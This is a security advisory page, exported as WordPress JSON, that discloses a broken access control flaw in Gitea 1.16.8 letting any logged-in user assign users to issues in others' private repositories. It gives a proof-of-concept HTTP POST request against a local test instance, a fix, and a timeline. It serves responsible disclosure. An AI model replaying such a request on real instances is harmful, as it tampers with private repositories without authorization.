{"id":23002,"date":"2022-10-31T12:21:00","date_gmt":"2022-10-31T11:21:00","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=23002"},"modified":"2024-07-24T11:39:30","modified_gmt":"2024-07-24T09:39:30","slug":"usd-2022-0025","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0025\/","title":{"rendered":"usd-2022-0025"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_text _builder_version=\"4.17.6\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" hover_enabled=\"0\" global_colors_info=\"{}\" theme_builder_area=\"post_content\" sticky_enabled=\"0\"]<\/p>\n<h2>usd-2022-0025 | Broken Access Control in Issue Assignees<\/h2>\n<p><strong>Advisory ID<\/strong>: usd-2022-0025<br \/>\n<strong>Product<\/strong>: Gitea<br \/>\n<strong>Affected Version<\/strong>: 1.16.8<br \/>\n<strong>Vulnerability Type<\/strong>: <a href=\"\">https:\/\/cwe.mitre.org\/data\/definitions\/284.html<\/a><br \/>\n<strong>Security Risk<\/strong>: Medium<br \/>\n<strong>Vendor URL<\/strong>: <a href=\"\">https:\/\/gitea.io\/<\/a><br \/>\n<strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/>\n<strong>Vendor Status<\/strong>: Fixed<br \/>\n<strong>Advisory Status<\/strong>: Closed<br \/>\n<strong>CVE number<\/strong>: Not requested yet<br \/>\n<strong>CVE Link<\/strong>: Not requested yet<br \/>\n<strong>First Published<\/strong>: Not published yet<br \/>\n<strong>Last Update<\/strong>: 2022-06-30<\/p>\n<h3>Description<\/h3>\n<p>Gitea allows users to assign other users to issues.<br \/>\nDue to improper access control, any authenticated user can assign a user to arbitrary issues.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>In the request below, the issue with id <strong>4<\/strong> does not belong to the authenticated user.<br \/>\nThe repo where this issue lives is a private repo of another user.<br \/>\nThe user with ID <strong>1<\/strong> is the admin user, which is assign to issue <strong>4<\/strong> by an arbitrary user which should usually not have the permissions to do this.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #EFF\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82AAFF\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #FFCB6B\">\/testuser\/test222\/issues\/assignee<\/span> <span class=\"kr\" style=\"background: #263238;color: #BB80B3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #F78C6C\">1.1<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">localhost:3000<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">105<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Pragma<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">no-cache<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Cache-Control<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">no-cache<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Accept<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">*\/*<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">application\/x-www-form-urlencoded; charset=UTF-8<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">X-Requested-With<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">XMLHttpRequest<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">User-Agent<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/97.0.4692.99 Safari\/537.36<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Origin<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">[http:\/\/localhost:3000]()<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Accept-Encoding<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">gzip, deflate<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Accept-Language<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">en-US,en;q=0.9<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">XXX<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Connection<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">close<\/span>\n<br><br>\n_csrf=fG[REDACTED]&amp;action=&amp;issue_ids=4&amp;id=1\n<\/pre>\n<\/div>\n<h3>Fix<\/h3>\n<p>It is recommended to restrict access to sensitive functions or information by default.<br \/>\nRequired access privileges should be granted explicitly by a global access control mechanism.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"\">https:\/\/cwe.mitre.org\/data\/definitions\/284.html<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-06-22<\/strong>: vulnerability identified by Christian P\u00f6schl<\/li>\n<li><strong>2022-06-22<\/strong>: First contact request<\/li>\n<li><strong>2022-07-01<\/strong>: Investigation started by vendor<\/li>\n<li><strong>2022-07-15<\/strong>: Vendor confirms remediation<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Christian P\u00f6schl of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0025 | Broken Access Control in Issue Assignees Advisory ID: usd-2022-0025 Product: Gitea Affected Version: 1.16.8 Vulnerability Type: https:\/\/cwe.mitre.org\/data\/definitions\/284.html Security Risk: Medium Vendor URL: https:\/\/gitea.io\/ Vendor acknowledged vulnerability: Yes Vendor Status: Fixed Advisory Status: Closed CVE number: Not requested yet CVE Link: Not requested yet First Published: Not published yet Last Update: 2022-06-30 Description Gitea [&hellip;]<\/p>\n","protected":false},"author":109,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-23002","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23002","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=23002"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23002\/revisions"}],"predecessor-version":[{"id":23136,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23002\/revisions\/23136"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=23002"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}